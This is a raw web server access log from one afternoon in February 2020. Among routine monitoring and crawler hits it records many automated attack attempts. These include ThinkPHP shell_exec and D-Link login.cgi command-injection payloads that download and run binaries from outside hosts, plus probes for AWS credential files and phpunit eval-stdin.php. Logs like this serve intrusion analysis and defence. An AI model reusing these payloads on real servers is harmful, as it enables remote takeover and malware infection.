212.91.246.72 - - [01/Feb/2020:16:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.9.78.47 - - [01/Feb/2020:16:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:16:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.63.52.50 - - [01/Feb/2020:16:09:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.121.80 - - [01/Feb/2020:16:09:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.56.46.16 - - [01/Feb/2020:16:10:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.191.228.57 - - [01/Feb/2020:16:10:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:16:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.125.8.34 - - [01/Feb/2020:16:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.183.100.230 - - [01/Feb/2020:16:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:16:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.54.45.222 - - [01/Feb/2020:16:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:16:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.146.246 - - [01/Feb/2020:16:15:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.88.241.205 - - [01/Feb/2020:16:15:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.241.205 - - [01/Feb/2020:16:16:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.88.241.205 - - [01/Feb/2020:16:16:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.241.205 - - [01/Feb/2020:16:17:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.118.245.171 - - [01/Feb/2020:16:18:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [01/Feb/2020:16:19:05 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:16:19:06 +0100] "GET ///html/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:16:19:06 +0100] "GET ///asterisk/admin/config.php HTTP/1.1" 404 330 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:16:19:06 +0100] "GET ///fpbx/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
5.88.241.205 - - [01/Feb/2020:16:19:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.241.205 - - [01/Feb/2020:16:19:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.241.205 - - [01/Feb/2020:16:21:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.54.33.11 - - [01/Feb/2020:16:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:16:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.86.233 - - [01/Feb/2020:16:25:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.48.185 - - [01/Feb/2020:16:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.189.116 - - [01/Feb/2020:16:26:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.88.241.205 - - [01/Feb/2020:16:27:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
182.70.2.25 - - [01/Feb/2020:16:27:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:16:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:16:28:46 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.88.241.205 - - [01/Feb/2020:16:29:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.88.241.205 - - [01/Feb/2020:16:29:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.2.197.125 - - [01/Feb/2020:16:31:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
41.65.34.166 - - [01/Feb/2020:16:31:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:16:32:14 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
58.187.209.70 - - [01/Feb/2020:16:32:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.150.107 - - [01/Feb/2020:16:37:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.21.222.70 - - [01/Feb/2020:16:38:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.171.93.27 - - [01/Feb/2020:16:41:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.242.89 - - [01/Feb/2020:16:42:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.194.22.117 - - [01/Feb/2020:16:43:28 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:16:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.181.120.4 - - [01/Feb/2020:16:45:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:16:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [01/Feb/2020:16:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
94.102.49.193 - - [01/Feb/2020:16:45:49 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
94.102.49.193 - - [01/Feb/2020:16:45:52 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
94.102.49.193 - - [01/Feb/2020:16:45:57 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
94.102.49.193 - - [01/Feb/2020:16:46:02 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
95.56.224.8 - - [01/Feb/2020:16:46:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.44.6 - - [01/Feb/2020:16:47:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.119.210.64 - - [01/Feb/2020:16:48:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
90.151.158.205 - - [01/Feb/2020:16:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.194.64.96 - - [01/Feb/2020:16:51:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
117.5.215.153 - - [01/Feb/2020:16:51:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
219.92.93.129 - - [01/Feb/2020:16:51:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:16:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.168.141 - - [01/Feb/2020:16:52:21 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.143 - - [01/Feb/2020:16:52:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
212.91.246.72 - - [01/Feb/2020:16:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [01/Feb/2020:16:53:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.152.149.208 - - [01/Feb/2020:16:55:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:16:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.151.144.158 - - [01/Feb/2020:16:56:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.182.157.26 - - [01/Feb/2020:17:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:17:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.220.143.114 - - [01/Feb/2020:17:03:43 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:17:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.9.86.249 - - [01/Feb/2020:17:04:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.84.40.122 - - [01/Feb/2020:17:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:17:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.99.184.149 - - [01/Feb/2020:17:18:01 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
68.7.134.235 - - [01/Feb/2020:17:18:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.162.247.161 - - [01/Feb/2020:17:18:24 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
220.162.247.161 - - [01/Feb/2020:17:18:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [01/Feb/2020:17:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.130.99.97 - - [01/Feb/2020:17:19:40 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:17:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.36.197 - - [01/Feb/2020:17:20:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
